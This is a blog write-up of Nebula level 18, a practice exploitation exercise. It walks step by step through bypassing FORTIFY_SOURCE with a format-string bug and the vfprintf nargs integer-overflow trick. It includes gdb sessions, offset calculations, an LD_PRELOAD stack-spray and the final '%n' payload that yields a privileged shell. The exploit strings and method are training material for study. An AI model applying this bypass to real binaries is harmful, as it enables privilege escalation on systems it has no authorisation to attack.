Sunday, September 23, 2012

Exploit Exercise - Format String FORTIFY_SOURCE Bypass

Level [18] in Nebula has a handful of vulnerabilities. We will use a format string vulnerability in the function "notsupported" to solve this level. The binary has few protections that we have to bypass inorder to achieve our goal.
Vulnerability
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
void notsupported(char *what)
{
 char *buffer = NULL;
 asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
 dprintf(what);  //here is the format string vulnerability
 free(buffer);
}

Protections
level18@nebula:~$ ./checksec.sh --file /home/flag18/flag18 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/flag18/flag18

level18@nebula:~$ ./checksec.sh --fortify-file /home/flag18/flag18 
* FORTIFY_SOURCE support available (libc)    : Yes
* Binary compiled with FORTIFY_SOURCE support: Yes

level18@nebula:~$ cat /proc/sys/kernel/randomize_va_space 
2
Of all this, FORTIFY_SOURCE is the protection that we have to concentrate on. The idea is to use format string vulnerability to set globals.loggedin variable and access the shell. ASLR is disabled using nebula root account for debugging purpose. We can set in it on when we run the final exploit, though the presence or absence of ASLR is not going to affect the exploit. Libc randomization can be disabled using resource limit in case needed.

We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
level18@nebula:~$ ulimit -s unlimited
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)

level18@nebula:~$ ldd --version
ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13

fprintf_chk.c
int ___fprintf_chk (FILE *fp, int flag, const char *format, ...)
{
  va_list ap;
  int done;
  _IO_acquire_lock_clear_flags2 (fp);
  if (flag > 0)
    fp->_flags2 |= _IO_FLAGS2_FORTIFY;
  va_start (ap, format);
  done = vfprintf (fp, format, ap);
  va_end (ap);
  if (flag > 0)
    fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
  _IO_release_lock (fp);
  return done;
}
ldbl_strong_alias (___fprintf_chk, __fprintf_chk)

fp->_flags2
So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.
(gdb) break vfprintf
Function "vfprintf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (vfprintf) pending.
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.
site exec %1$*269208516$x %1073741824$
##########################################################################
Since cdecl calling convention is used, the top of the stack will have the address of fp FILE structure. Lets check the disassembly when vfprintf is called before it crashes.
Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0  0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1  0x4006d09b in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0x40068383 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#3  0x4010e191 in __fprintf_chk () from /lib/i386-linux-gnu/libc.so.6
#4  0x08048d95 in notsupported ()
#5  0x08048b86 in main ()
(gdb) x/10i 0x4006d09b-16
   0x4006d08b: mov    %ecx,0x8(%esp)
   0x4006d08f: mov    %edx,0x4(%esp)
   0x4006d093: mov    %eax,(%esp)
   0x4006d096: call   0x40068130 <vfprintf>
   0x4006d09b: mov    0x38a0(%ebx),%ebp
   0x4006d0a1: test   %ebp,%ebp
   0x4006d0a3: mov    %eax,%edi
   0x4006d0a5: jne    0x4006d1c8
   0x4006d0ab: mov    -0x6c(%ebx),%eax
   0x4006d0b1: mov    %esi,0x20c4(%esp)
(gdb) x/x $eax
0xbfffef50: 0xfbad8004
(gdb) x/50x $eax
0xbfffef50: 0xfbad8004 0xbffff4e8 0x4006892c 0xbffff518
0xbfffef60: 0xbfffcf50 0xbfffcf50 0xbfffef50 0x00000000
0xbfffef70: 0x00000000 0x00000000 0x00000027 0x08049017
0xbfffef80: 0xfbad8004 0x00000000 0x00000000 0x00000004
###########################################################################
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $pc
=> 0x40069359 <vfprintf+4649>: movl   $0x0,(%edx,%eax,4)
fp->_flags2 is at 0xbfffef8c, then calculate the width argument needed to toggle off this.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) p/d (0xbfffef8c-$edx)/4 + 1
$1 = 2848

site exec %1$*2848$ %1073741824$

(gdb) c
Continuing.
flag18: vfprintf.c:1823: _IO_vfprintf_internal: Assertion 's->_flags2 & 4' failed.

Program received signal SIGABRT, Aborted.
0x40020416 in __kernel_vsyscall ()
We got the width argument right, this causes the assert (s->_flags2 & _IO_FLAGS2_FORTIFY) to fail. Next we have to find the width argument to overwrite nargs.
nargs
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d asdf -vvv
site exec %1$*3735928559$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x4006927a in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/i $pc
=> 0x4006927a >vfprintf+4426<: mov    %edx,0x8(%esp)
Search for nargs value in the stack. I found it in two locations, hit the right one. Then compute the required width argument
(gdb) set $x=0xbfff0000
(gdb) while(*++$x!=0xdeadbeef && $x<0xbffffffc)
 >end
(gdb) p/x $x
$5 = 0xbfffca88

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*269208516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/d (0xbfffca88-$edx)/4 + 1
$1 = 479

(gdb) run -d format -vvv
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40068cf0 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40068cf0 <vfprintf+3008>: mov    (%ecx,%eax,4),%eax
(gdb) p/x $ecx+$eax*4
$6 = 0xc0004874
This is where I got stuck. After removing both flags, some computations are going beyond the stack segment and seg faults before returning from vfprintf. After a discussion in #io, the guys over there pointed out that it may be due to high base address of parameter list. So I decided to export a huge environment variable, this wil lower the stack address and SIGSEGV is avoided.
level18@nebula:/tmp$ export FORMA=`python -c 'print "A"*30000'`

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$
^C

Exploit
Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "B"*30000'`
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40072f00 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40072f00 <vfprintf+11728>: mov    %edx,(%eax)
(gdb) p/x $eax
$1 = 0x42424242
(gdb) p/x $edx
$2 = 0x1


level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "\xb4\xb0\x04\x08"*7500'`
level18@nebula:/tmp$ echo -e 'site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$\r\n' | /home/flag18/flag18 -d format -v -v -v
level18@nebula:/tmp$ cat format
Starting up. Verbose level = 3
got [site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$] as input
|804b0b4| %134525108%134525108 %got [] as input
We are almost done, with suitable bash options write into 0x804b0b4. As you can see bash displays the version info, using suitable options we can get an interactive priviledge shell to execute getflag. Im not going to discuss about it in this post.
level18@nebula:/tmp$ echo -e 'site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$\r\nshell\r\n' | /home/flag18/flag18 --version -d format -v -v -v 2>/dev/null
GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

No comments :

Post a Comment